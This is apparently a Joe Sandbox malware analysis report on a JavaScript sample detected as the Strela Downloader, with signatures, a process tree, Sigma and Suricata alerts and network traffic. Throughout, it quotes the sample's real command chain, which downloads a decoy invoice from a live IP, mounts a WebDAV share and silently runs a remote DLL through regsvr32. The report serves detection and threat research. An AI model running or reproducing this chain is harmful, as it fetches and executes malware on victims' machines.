Edit tour

Windows Analysis Report
334130052300215064.js

Overview

General Information

Sample name:	334130052300215064.js
Analysis ID:	1587744
MD5:	c19dfb48f5b57f0a1e0829a41a3068de
SHA1:	8cb253e558c8f798a12bd08fffb3fa2312e28a3e
SHA256:	262d34be47899dce86841aa170b98a429eeda5bc21594c1fa73148f94e0f7536
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7476 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\334130052300215064.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7568 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7620 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7824 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8076 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7224 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1368,i,865833202522912382,8283043950893264980,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7848 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7948 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8164 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7476	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7568, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7620, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7568, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7620, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\334130052300215064.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\334130052300215064.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2592, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\334130052300215064.js", ProcessId: 7476, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7948, Protocol: tcp, SourceIp: 192.168.2.11, SourceIsIpv6: false, SourcePort: 49794

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\334130052300215064.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7476, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, ProcessId: 7568, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\334130052300215064.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7476, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, ProcessId: 7568, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\334130052300215064.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7476, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, ProcessId: 7568, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\334130052300215064.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7476, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, ProcessId: 7568, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\334130052300215064.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7476, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, ProcessId: 7568, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\334130052300215064.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\334130052300215064.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2592, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\334130052300215064.js", ProcessId: 7476, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7568, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7620, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7848, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7948, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8164, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7848, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7948, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\334130052300215064.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7476, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll, ProcessId: 7568, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:32:16.301791+0100	1810005	1	Potentially Bad Traffic	192.168.2.11	49794	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:32:13.977530+0100	1810000	2	Potentially Bad Traffic	192.168.2.11	49778	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 334130052300215064.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 334130052300215064.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.11:49794 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:32:13 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49794

Source: global traffic

TCP traffic: 192.168.2.11:49794 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.11:49778 -> 193.143.1.205:80

Source: global traffic

